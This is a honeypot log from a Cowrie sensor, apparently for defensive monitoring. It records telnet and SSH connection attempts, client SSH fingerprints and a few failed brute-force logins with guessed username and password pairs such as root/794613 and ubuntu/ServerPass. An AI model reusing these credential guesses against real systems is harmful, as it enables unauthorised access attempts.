{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":40124,"dst_ip":"159.203.135.109","dst_port":23,"session":"970dc5527259","protocol":"telnet","message":"New connection: 64.41.88.162:40124 (159.203.135.109:23) [session: 970dc5527259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:11:14.991442Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":53144,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ec10f70b04","protocol":"telnet","message":"New connection: 64.41.88.162:53144 (159.203.135.109:23) [session: 96ec10f70b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:11:29.126916Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.123.146.57","src_port":13147,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cc40b2c65dd","protocol":"telnet","message":"New connection: 124.123.146.57:13147 (10.17.0.5:23) [session: 4cc40b2c65dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:12:19.514887Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"7972e72dbb90","protocol":"telnet","message":"New connection: 104.245.105.2:42694 (10.17.0.5:23) [session: 7972e72dbb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:12:38.936980Z"}
{"eventid":"cowrie.session.closed","duration":92.76323819160461,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:12:47.754567Z","src_ip":"64.41.88.162","session":"970dc5527259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.8543598651886,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:02.981167Z","src_ip":"64.41.88.162","session":"96ec10f70b04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58614,"dst_ip":"10.17.0.5","dst_port":23,"session":"0be01e9ca04a","protocol":"telnet","message":"New connection: 104.245.105.2:58614 (10.17.0.5:23) [session: 0be01e9ca04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:05.078674Z"}
{"eventid":"cowrie.session.closed","duration":32.661486864089966,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:11.598314Z","src_ip":"104.245.105.2","session":"7972e72dbb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":41864,"dst_ip":"10.17.0.5","dst_port":22,"session":"089b87572d50","protocol":"ssh","message":"New connection: 194.59.206.2:41864 (10.17.0.5:22) [session: 089b87572d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:19.748761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:19.754211Z","src_ip":"194.59.206.2","session":"089b87572d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:19.845252Z","src_ip":"194.59.206.2","session":"089b87572d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:19.940792Z","src_ip":"194.59.206.2","session":"089b87572d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.01050877571106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:36.089057Z","src_ip":"104.245.105.2","session":"0be01e9ca04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":57898,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9756b6f41c3","protocol":"ssh","message":"New connection: 88.205.172.170:57898 (10.17.0.5:22) [session: b9756b6f41c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:43.246387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:43.251266Z","src_ip":"88.205.172.170","session":"b9756b6f41c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:43.414501Z","src_ip":"88.205.172.170","session":"b9756b6f41c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"00000000","message":"login attempt [test/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:44.226816Z","src_ip":"88.205.172.170","session":"b9756b6f41c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:13:45.393706Z","src_ip":"88.205.172.170","session":"b9756b6f41c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":50098,"dst_ip":"159.203.135.109","dst_port":23,"session":"336e8259fa52","protocol":"telnet","message":"New connection: 64.41.88.162:50098 (159.203.135.109:23) [session: 336e8259fa52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:14:05.696752Z"}
{"eventid":"cowrie.session.closed","duration":120.00516629219055,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:14:19.519878Z","src_ip":"124.123.146.57","session":"4cc40b2c65dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.82.116","src_port":57402,"dst_ip":"159.203.135.109","dst_port":22,"session":"74801a6bb2af","protocol":"ssh","message":"New connection: 159.203.82.116:57402 (159.203.135.109:22) [session: 74801a6bb2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:15:01.372587Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:15:01.378843Z","src_ip":"159.203.82.116","session":"74801a6bb2af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.41181230545044,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:15:42.108474Z","src_ip":"64.41.88.162","session":"336e8259fa52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.174.153.29","src_port":34058,"dst_ip":"159.203.135.109","dst_port":23,"session":"742453cfa3fa","protocol":"telnet","message":"New connection: 103.174.153.29:34058 (159.203.135.109:23) [session: 742453cfa3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:16:09.974752Z"}
{"eventid":"cowrie.session.closed","duration":31.32656717300415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:16:41.301182Z","src_ip":"103.174.153.29","session":"742453cfa3fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51690,"dst_ip":"10.17.0.5","dst_port":23,"session":"252959065753","protocol":"telnet","message":"New connection: 104.245.105.2:51690 (10.17.0.5:23) [session: 252959065753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:16:49.092633Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":59964,"dst_ip":"10.17.0.5","dst_port":22,"session":"abee5ef12654","protocol":"ssh","message":"New connection: 88.205.172.170:59964 (10.17.0.5:22) [session: abee5ef12654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:17:13.655544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:17:13.660433Z","src_ip":"88.205.172.170","session":"abee5ef12654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:17:13.831774Z","src_ip":"88.205.172.170","session":"abee5ef12654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"9999999999","message":"login attempt [ubuntu/9999999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:17:14.534621Z","src_ip":"88.205.172.170","session":"abee5ef12654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:17:15.706253Z","src_ip":"88.205.172.170","session":"abee5ef12654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.98815441131592,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:17:32.080685Z","src_ip":"104.245.105.2","session":"252959065753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38600,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d019250ab9d","protocol":"telnet","message":"New connection: 104.245.105.2:38600 (10.17.0.5:23) [session: 2d019250ab9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:17:56.045779Z"}
{"eventid":"cowrie.session.closed","duration":31.782428741455078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:18:27.828073Z","src_ip":"104.245.105.2","session":"2d019250ab9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59378,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4237266a609","protocol":"telnet","message":"New connection: 64.41.88.162:59378 (159.203.135.109:23) [session: d4237266a609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:18:40.885408Z"}
{"eventid":"cowrie.session.closed","duration":35.269193172454834,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:19:16.154439Z","src_ip":"64.41.88.162","session":"d4237266a609","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":57086,"dst_ip":"10.17.0.5","dst_port":23,"session":"76283eb88645","protocol":"telnet","message":"New connection: 144.91.126.134:57086 (10.17.0.5:23) [session: 76283eb88645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:19:56.563934Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":48668,"dst_ip":"10.17.0.5","dst_port":23,"session":"9186d38120d5","protocol":"telnet","message":"New connection: 144.91.126.134:48668 (10.17.0.5:23) [session: 9186d38120d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:02.234134Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":53400,"dst_ip":"10.17.0.5","dst_port":23,"session":"e029f8cb4e69","protocol":"telnet","message":"New connection: 144.91.126.134:53400 (10.17.0.5:23) [session: e029f8cb4e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:02.260600Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":58592,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c0cc30642a","protocol":"ssh","message":"New connection: 193.24.211.95:58592 (159.203.135.109:22) [session: 79c0cc30642a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:04.304203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:04.311012Z","src_ip":"193.24.211.95","session":"79c0cc30642a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:04.422576Z","src_ip":"193.24.211.95","session":"79c0cc30642a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"794613","message":"login attempt [root/794613] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:04.850769Z","src_ip":"193.24.211.95","session":"79c0cc30642a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56928,"dst_ip":"10.17.0.5","dst_port":23,"session":"c119dffb9a06","protocol":"telnet","message":"New connection: 104.245.105.2:56928 (10.17.0.5:23) [session: c119dffb9a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:05.338626Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:05.970282Z","src_ip":"193.24.211.95","session":"79c0cc30642a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47880,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b66d23bd47","protocol":"telnet","message":"New connection: 104.245.105.2:47880 (10.17.0.5:23) [session: 18b66d23bd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:16.556095Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47892,"dst_ip":"10.17.0.5","dst_port":23,"session":"340949cb40b6","protocol":"telnet","message":"New connection: 104.245.105.2:47892 (10.17.0.5:23) [session: 340949cb40b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:17.171396Z"}
{"eventid":"cowrie.session.closed","duration":31.18544316291809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:27.749300Z","src_ip":"144.91.126.134","session":"76283eb88645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":43816,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ab3ca92dd1","protocol":"telnet","message":"New connection: 144.91.126.134:43816 (10.17.0.5:23) [session: f4ab3ca92dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:32.627082Z"}
{"eventid":"cowrie.session.closed","duration":31.52721071243286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:33.787671Z","src_ip":"144.91.126.134","session":"e029f8cb4e69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060439348220825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:36.398693Z","src_ip":"104.245.105.2","session":"c119dffb9a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.227447509765625,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:37.461449Z","src_ip":"144.91.126.134","session":"9186d38120d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":46178,"dst_ip":"10.17.0.5","dst_port":22,"session":"5252f54f0856","protocol":"ssh","message":"New connection: 88.205.172.170:46178 (10.17.0.5:22) [session: 5252f54f0856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:44.219890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:44.224962Z","src_ip":"88.205.172.170","session":"5252f54f0856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:44.394407Z","src_ip":"88.205.172.170","session":"5252f54f0856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ServerPass","message":"login attempt [ubuntu/ServerPass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:45.107135Z","src_ip":"88.205.172.170","session":"5252f54f0856","protocol":"ssh"}
